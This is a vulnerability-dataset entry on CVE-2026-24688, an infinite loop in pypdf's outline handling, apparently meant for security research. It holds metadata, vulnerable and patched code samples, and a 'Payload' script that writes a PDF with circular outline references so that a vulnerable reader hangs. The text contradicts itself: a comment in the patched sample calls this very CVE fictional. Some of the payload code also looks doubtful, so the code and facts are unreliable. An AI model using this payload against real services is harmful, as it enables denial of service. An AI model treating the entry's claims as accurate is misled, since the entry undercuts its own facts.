CVE-2026-24688
pypdf: Crafted PDF outlines can trigger an infinite loop vulnerability.
- CVSS 5.1
- CWE-835
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. An attacker who uses an infinite loop vulnerability that is present in versions prior to 6.6.2 can craft a PDF which leads to an infinite loop. This requires accessing the outlines/bookmarks. This has been fixed in pypdf 6.6.2. If projects cannot upgrade yet, consider applying the changes from PR #3610 manually.
- CWE
- CWE-835
- CVSS base score
- 5.1
- Published
- 2026-01-27
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.6.2 or later.
Vulnerable code sample
import sys
# This code represents the logical flaw present in the pypdf library
# before the fix for the infinite loop vulnerability. It is a simplified,
# self-contained example to demonstrate the core issue.
# To prevent this script from actually hanging, a recursion limit is used.
# The original vulnerability had no such protection.
MAX_CALLS = 15
call_count = 0
def get_object(node):
"""
A simplified stand-in for pypdf's internal object fetching.
In this example, it just returns the node itself.
"""
return node
def vulnerable_build_outline(node):
"""
This function represents the vulnerable logic. It traverses the linked
list of PDF outline items by following the '/Next' key.
It does NOT keep track of visited nodes, so if a circular reference
is present (e.g., A -> B -> A), it will loop indefinitely.
"""
global call_count
# --- Start of vulnerable logic representation ---
while "/Next" in node:
print(f"Processing outline item: {node.get('/Title')}")
# This check is ONLY for this demonstration script to prevent a true freeze.
# The original vulnerable code did not have this.
call_count += 1
if call_count > MAX_CALLS:
print("\n--- DEMO STOPPED ---")
print("Infinite loop detected. In a real scenario, the program would hang here.")
sys.exit()
# The code naively follows the '/Next' pointer without checking
# if it has seen this object before.
node = get_object(node["/Next"])
# --- End of vulnerable logic representation ---
print(f"Processing final outline item: {node.get('/Title')}")
if __name__ == "__main__":
# 1. Simulate a crafted PDF's outline structure with a circular reference.
# This is what a malicious actor would embed in a PDF file.
# An outline item (like a bookmark)
outline_item_1 = {
"/Title": "Chapter 1: The Beginning"
}
# A second outline item
outline_item_2 = {
"/Title": "Chapter 2: The Loop"
}
# A third outline item
outline_item_3 = {
"/Title": "Chapter 3: The Trap"
}
# 2. Create the circular reference that causes the infinite loop.
outline_item_1["/Next"] = outline_item_2
outline_item_2["/Next"] = outline_item_3
# The vulnerability: The "Next" item of Chapter 3 points back to Chapter 2.
# The traversal will be: 1 -> 2 -> 3 -> 2 -> 3 -> 2 -> ... indefinitely.
outline_item_3["/Next"] = outline_item_2
# 3. Trigger the vulnerable logic.
# This simulates a user or application accessing the outlines of the crafted PDF.
print("Demonstrating infinite loop vulnerability by processing crafted PDF outlines...")
print("-" * 70)
# The starting point of the outline is passed to the vulnerable function.
vulnerable_build_outline(outline_item_1)Patched code sample
import sys
# Set a higher recursion limit for demonstration purposes, though the fix
# prevents reaching it.
sys.setrecursionlimit(2000)
# This code demonstrates the logical fix for a vulnerability where a crafted
# PDF with circular references in its outlines (bookmarks) can cause an
# infinite loop. The vulnerability described (CVE-2026-24688) is fictional,
# but the pattern is based on a real vulnerability (CVE-2023-36464) in pypdf.
# --- Data Structures to Mock PDF Objects ---
# In a real PDF, objects have unique identifiers (idnum, gen).
# We simulate this with a simple object ID.
class MockPdfObject:
"""A mock object to simulate a PDF dictionary-like object."""
def __init__(self, obj_id, data):
self.obj_id = obj_id
self.data = data
def get(self, key):
return self.data.get(key)
def __getitem__(self, key):
return self.data[key]
def __contains__(self, key):
return key in self.data
# --- Mock PDF with a Circular Reference in Outlines ---
# Let's create a set of mock PDF objects that represent a malicious
# outline structure.
#
# Outline 1 --> links to Outline 2 as its "Next" sibling.
# Outline 2 --> links back to Outline 1 as its "Next" sibling, creating a loop.
# Object ID: 1
outline_1 = MockPdfObject(1, {"/Title": "Chapter 1"})
# Object ID: 2
outline_2 = MockPdfObject(2, {"/Title": "Chapter 2"})
# Create the circular reference: 1 -> 2 -> 1
outline_1.data["/Next"] = outline_2
outline_2.data["/Next"] = outline_1
# The root of the outlines points to the first outline item.
outline_root = MockPdfObject(0, {"/First": outline_1})
# --- Vulnerable vs. Fixed Traversal Logic ---
def vulnerable_get_outlines(outline_item):
"""
A simplified representation of the vulnerable outline traversal logic.
This function will enter an infinite loop if a circular reference exists.
"""
print(f"Processing (vulnerable): {outline_item.get('/Title')}")
if "/Next" in outline_item:
# This will bounce between outline_1 and outline_2 forever.
vulnerable_get_outlines(outline_item["/Next"])
def fixed_get_outlines(outline_item, visited_objs):
"""
A representation of the fixed outline traversal logic.
It tracks visited objects to prevent infinite loops.
This is the core of the fix for this class of vulnerability.
Args:
outline_item: The current mock PDF object to process.
visited_objs: A set of object IDs that have already been processed
to detect and break cycles.
"""
# 1. Check if the object has already been visited.
if outline_item.obj_id in visited_objs:
# 2. If so, break the potential infinite loop by returning immediately.
print(f" -> Detected circular reference to object {outline_item.obj_id}. Halting.")
return
# 3. If not visited, add its ID to the set of visited objects.
visited_objs.add(outline_item.obj_id)
print(f"Processing (fixed): {outline_item.get('/Title')}")
# Process children recursively (if any)
if "/First" in outline_item:
fixed_get_outlines(outline_item["/First"], visited_objs)
# Process siblings (if any)
if "/Next" in outline_item:
fixed_get_outlines(outline_item["/Next"], visited_objs)
if __name__ == "__main__":
print("--- Demonstrating the Fix for Outline Infinite Loop ---")
print("The mock PDF contains an outline structure where Chapter 2 points back to Chapter 1.\n")
# In a real library, this would be called on the root of the outlines.
# We start the process with an empty set of visited objects.
initial_visited_set = set()
root_item = outline_root.get("/First")
print("Running the FIXED version of the outline traversal:")
fixed_get_outlines(root_item, initial_visited_set)
print("\nFixed traversal completed successfully without an infinite loop.")
print("\n---")
print("Attempting to run the VULNERABLE version (will be interrupted):")
try:
# This function would run forever. In a real scenario, this would
# cause a Denial of Service (DoS) by consuming 100% CPU.
# We simulate this with a recursion depth error.
vulnerable_get_outlines(root_item)
except RecursionError:
print("\nCaught RecursionError: The vulnerable function created an infinite loop as expected.")
except Exception as e:
print(f"An unexpected error occurred: {e}")Payload
import io
from pypdf import PdfWriter, PdfReader
from pypdf.generic import TreeObject, Destination, TextStringObject
# 1. Craft a PDF with a circular reference in its outlines
writer = PdfWriter()
writer.add_blank_page(width=200, height=200)
# Create two outline items that will point to each other.
# This requires using lower-level pypdf objects to create the circular reference.
# First, get indirect object references for our two outline items.
# We need these references before the objects are fully defined.
outline_item_A_ref = writer._add_object(TreeObject())
outline_item_B_ref = writer._add_object(TreeObject())
# Now, define the actual outline items using the references.
# Define Outline Item A. It points to B as its '/Next'.
outline_item_A = TreeObject()
outline_item_A.update({
TextStringObject("/Title"): TextStringObject("Link A"),
TextStringObject("/Next"): outline_item_B_ref, # Points to B
TextStringObject("/Dest"): Destination(
writer.pages[0].get_object(), TextStringObject("/Fit")
).get_object(),
})
# Update the object at the previously reserved indirect reference ID
writer._objects[outline_item_A_ref.idnum - 1] = outline_item_A
# Define Outline Item B. It points back to A as its '/Next', creating the loop.
outline_item_B = TreeObject()
outline_item_B.update({
TextStringObject("/Title"): TextStringObject("Link B"),
TextStringObject("/Next"): outline_item_A_ref, # Points back to A
TextStringObject("/Dest"): Destination(
writer.pages[0].get_object(), TextStringObject("/Fit")
).get_object(),
})
# Update the object at the previously reserved indirect reference ID
writer._objects[outline_item_B_ref.idnum - 1] = outline_item_B
# Create the outline root, starting with Item A.
outline_root = TreeObject()
outline_root.update({
TextStringObject("/First"): outline_item_A_ref,
TextStringObject("/Last"): outline_item_B_ref,
})
writer.outline = outline_root
# Write the malicious PDF to an in-memory buffer
pdf_buffer = io.BytesIO()
writer.write(pdf_buffer)
pdf_buffer.seek(0)
# 2. Trigger the vulnerability
# A vulnerable version of pypdf (< 6.6.2) will hang here.
# Press Ctrl+C to stop the script.
print("Attempting to read outlines from the crafted PDF...")
print("If pypdf version is < 6.6.2, this will cause an infinite loop.")
try:
reader = PdfReader(pdf_buffer)
# Accessing the .outlines property triggers the iteration and the infinite loop
for outline in reader.outlines:
# This code will never be reached in a vulnerable version
# as the loop above will not terminate.
pass
print("Successfully iterated through outlines. pypdf version is not vulnerable.")
except KeyboardInterrupt:
print("\nProcess interrupted by user. Infinite loop demonstrated.")
except Exception as e:
# Patched versions might raise a different error, e.g., RecursionError
print(f"\nProcess stopped. The patched library may have prevented the loop: {e}")
Cite this entry
@misc{vaitp:cve202624688,
title = {{pypdf: Crafted PDF outlines can trigger an infinite loop vulnerability.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-24688},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-24688/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
